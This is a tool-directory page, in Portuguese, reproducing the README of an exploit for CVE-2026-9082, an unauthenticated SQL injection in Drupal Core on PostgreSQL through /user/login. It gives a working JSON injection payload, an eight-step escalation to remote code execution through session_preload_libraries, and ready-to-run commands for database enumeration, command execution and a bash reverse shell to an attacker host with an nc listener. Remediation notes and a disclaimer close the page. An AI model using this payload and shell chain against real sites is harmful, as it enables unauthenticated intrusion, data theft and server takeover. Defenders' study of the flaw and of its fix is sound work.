Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-9082 — # SQLi no PostgreSQL do Drupal Core para RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004) | Kitploit
Ferramentas/GitHubGitHub/11romain/cve-2026-9082
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHub11romain/cve-2026-9082

CVE-2026-9082

# SQLi no PostgreSQL do Drupal Core para RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004)

Ver Repositório
19há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-9082

Injeção SQL não autenticada no Drupal Core no PostgreSQL via POST /user/login, escalada para execução remota de código através do session_preload_libraries do PostgreSQL.

Ao contrário dos exploits públicos existentes que visam JSON:API, este usa o endpoint de login — sempre disponível, sem necessidade de módulos ou conteúdo publicado.

Aviso: SA-CORE-2026-004 | Risco: 23/25 (Altamente Crítico) | CISA KEV

Versões afetadas

Apenas sites Drupal que utilizam PostgreSQL são vulneráveis.

RamoVulnerávelCorrigido
11.3.x< 11.3.1011.3.10
11.2.x< 11.2.1211.2.12
11.0.x - 11.1.x< 11.1.1011.1.10
10.6.x< 10.6.910.6.9
10.5.x< 10.5.1010.5.10
10.4.x< 10.4.1010.4.10
8.9.x - 10.3.xTodosFim de vida útil - atualize

Vulnerabilidade

Causa raiz

O manipulador de condições de consulta de entidade PostgreSQL do Drupal (core/modules/pgsql/src/EntityQuery/Condition.php) constrói condições IN insensíveis a maiúsculas/minúsculas ao iterar $condition['value'] como um array associativo e concatenar chaves controladas pelo usuário diretamente em identificadores de placeholders PDO — o SQL gerado contém LOWER(:<prefix><key>) onde <key> vem literalmente do atacante.

Este caminho de código só é alcançado quando duas condições são atendidas: is_array($condition['value']) e $case_sensitive === FALSE. É por isso que apenas PostgreSQL é afetado — MySQL e SQLite não possuem este ramo LOWER() insensível a maiúsculas/minúsculas.

O analisador de parâmetros nomeados do PDO reconhece apenas [a-zA-Z0-9_] após o :. Caracteres fora desse conjunto (como | ou )) encerram o token do placeholder. Então uma chave como 0||(subquery) produz um placeholder :prefix0 (compartilhado com a chave legítima 0) mais o SQL literal ||(subquery) que chega ao PostgreSQL sem parametrização.

A correção é uma única chamada array_values() que descarta as chaves fornecidas pelo atacante antes da geração do SQL.

Vetor de injeção (/user/login)

POST /user/login?_format=json

{
  "name": {
    "0": "x",
    "0||(SELECT CAST((SELECT version()) AS int))": "x"
  },
  "pass": "x"
}

O campo name é enviado como um objeto JSON em vez de uma string. O Drupal o passa para uma condição IN de consulta de entidade com comparação insensível a maiúsculas/minúsculas. Para cada chave do array, o Drupal gera LOWER(:<prefix><key>) no SQL. A consulta resultante se parece com:

LOWER("users_field_data"."name") IN (
  LOWER(:users_field_data_name0),
  LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)

O PDO reconhece :users_field_data_name0 como o placeholder em ambas as entradas (parando em | na segunda) e vincula ambas a 'x'. O restante ||(SELECT ...) passa como SQL literal. Após a substituição, o PostgreSQL recebe:

LOWER(name) IN (
  LOWER('x'),
  LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)

O CAST(... AS int) falha em dados não inteiros, e a mensagem de erro vaza o resultado da consulta.

Cadeia RCE (superusuário PostgreSQL)

Quando o usuário do banco de dados é um superusuário PostgreSQL, a injeção apenas SELECT pode ser escalada para RCE:

  1. Exfiltrar versão do PostgreSQL, data_directory, status de superusuário
  2. Compilar um módulo nativo .so com _PG_init() chamando system()
  3. Fazer upload do .so para data_directory via large objects (lo_create -> lo_put -> lo_export)
  4. Reescrever postgresql.auto.conf para definir session_preload_libraries e dynamic_library_path
  5. Recarregar configuração com pg_reload_conf()
  6. Acionar uma nova conexão de backend — PostgreSQL carrega o módulo e executa o comando
  7. Ler a saída do comando via pg_read_file()
  8. Limpeza — restaurar configuração original e recarregar

Pré-requisitos

SQL injection (cve_2026_9082_check.py):

  • Drupal no PostgreSQL, qualquer versão não corrigida
  • Nenhuma autenticação necessária
  • Nenhum módulo JSON:API necessário
  • Nenhum conteúdo publicado necessário

Execução remota de código (cve_2026_9082_rce.py):

  • Todos os acima, mais:
  • O usuário do banco de dados deve ser um superusuário PostgreSQL
  • docker disponível localmente (para cross-compilação no macOS)

Uso

Instalar dependências

pip install -r requirements.txt

Verificação SQLi

# Validar a injeção SQL
python3 cve_2026_9082_check.py http://target:8081

# Com um proxy (Burp, mitmproxy, etc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080

Exploração SQLi

# Listar todos os bancos de dados
python3 cve_2026_9082_sqli.py http://target:8081 --dbs

# Listar tabelas em um banco de dados
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables

# Listar colunas em uma tabela
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns

Execução remota de código

# Executar um comando
python3 cve_2026_9082_rce.py http://target:8081 "id"

# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
  "bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"

# Ouvinte
nc -lvnp 4444

Demonstração

Validação de SQLi contra uma instância vulnerável:

SQLi check output

Enumeração de banco de dados via injeção baseada em erros:

SQLi exploitation output

Escalação para execução remota de código:

RCE exploit output

Remediação

Atualize o Drupal imediatamente para uma versão corrigida:

  • 11.3.10, 11.2.12, 11.1.10, 10.6.9, 10.5.10, ou 10.4.10

Se não puder atualizar imediatamente:

  • Mude para uma conta de banco de dados não superusuário para evitar escalação RCE
  • Monitore logs para requisições anômalas POST /user/login com objetos JSON no campo name

Correções e detalhes: SA-CORE-2026-004

Timeline

DataEvento
2026-05-20Drupal publica SA-CORE-2026-004, correções lançadas
2026-05-22Exploração ativa na natureza, adicionado ao CISA KEV
2026-05-26Ambionics publica técnica SQLi-para-RCE via JSON:API
2026-06-07Esta ferramenta lançada

Créditos

  • Vulnerabilidade reportada por Michael Maturi
  • Vetor de login (/user/login) descrito por bitk & jfellus (YesWeHack)
  • Técnica RCE (session_preload_libraries) por N. Maccary / Ambionics (Lexfo)
  • Esta implementação — RCE adaptada para o vetor /user/login por r0m41n

Aviso Legal

Esta ferramenta é fornecida para testes de segurança autorizados e fins educacionais apenas.

O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido deste software. Sempre obtenha a devida autorização antes de testar sistemas que você não possui.

Baixar ferramenta